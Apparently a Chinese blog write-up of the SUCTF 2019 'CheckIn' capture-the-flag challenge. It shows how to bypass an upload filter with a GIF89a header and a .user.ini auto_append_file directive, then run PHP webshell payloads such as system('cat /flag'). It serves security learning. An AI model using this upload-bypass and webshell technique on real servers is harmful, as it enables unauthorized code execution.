[SUCTF 2019]CheckIn

打开环境,是一个文件上传的题:

先上传一个php的txt文件,提示<? in content!,意思是文件内容包含<?,即<?被过滤。

再试试上传jpg的php木马,显示exif_imagetype:not image!

此处用exif_imagetype函数来检查是否是图片格式,和其他白名单一样,也能用文件头设置为GIF89A的方法绕过

那就试着上传一个头部GIF89A,js木马的txt文件:

成功上传,尝试访问上传的文件的地址或用工具链接都没有成功,说明上传的文件没有被解析,怎么办呢?

这时候就需要知道一个新的知识了,那就是.user.ini。

 

.user.ini,它会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。.user.ini比.htaccess用的更广,不管是nginx/Apache/IIS,只要是以fastcgi运行的php都可以用这个办法。如果使用Apache,则用.htaccess文件有同样的效果。

 

注意:.htaccess只能用于Apache。

 

在php.ini中,有两个新的INI指令

 

; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini"

; 用户自定义的php.ini文件的名字,默认是.user.ini

user_ini.filename = ".user.ini"

; TTL for user-defined php.ini files (time-to-live) in seconds. Default is 300 seconds (5 minutes)

; 重新读取用户INI文件的时间间隔,默认是300秒(5分钟)

user_ini.cache_ttl = 300

大致意思是:我们指定一个文件(如,xxx.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./xxx.jpg);

 

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用exit()时该设置无效)。

 

利用方法:

 

可以上传一个这样的.user.ini

 

auto_prepend_file = xxx.jpg

然后再上传一个图片马xxx.jpg

 

<script language='php'>system('whoami');</script>

如果在上传目录中还有一个可执行的php文件,访问php文件,就达到了执行系统命令的效果。

 

总结一下:上传目录中有一个可执行的php文件,我们先上传一个.user.ini文件,这个文件的内容为auto_prepend_file=xxx.jpg。起到的作用相当于在可执行的php文件前插入图片马中的内容。然后图片马中的恶意代码也会被当做PHP解析。

 

所以此题只需在上传js木马之前上传.user.ini文件,

其内容为:

GIF89a

auto_append_file=js木马.txt

再上传js木马.txt:

1然后就可以通过工具链接文件位置/index.php(在php文件中才能包含.uer.ini),在根目录下找答案,

2或扫描根目录:a=var_dump(scandir("/"));,我们可以可以看见一个叫flag的文件,打印:a=var_dump(file_get_contents("/flag"));或传参a=system('cat /flag');(因为木马中默认语言为php,所以可以直接执行phpinfo();

当用cat命令时,因为是系统命令,就要用system函数)

3或在js木马中直接添加cat/ flag的命令:<script language='php'>system('cat /flag');</script>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值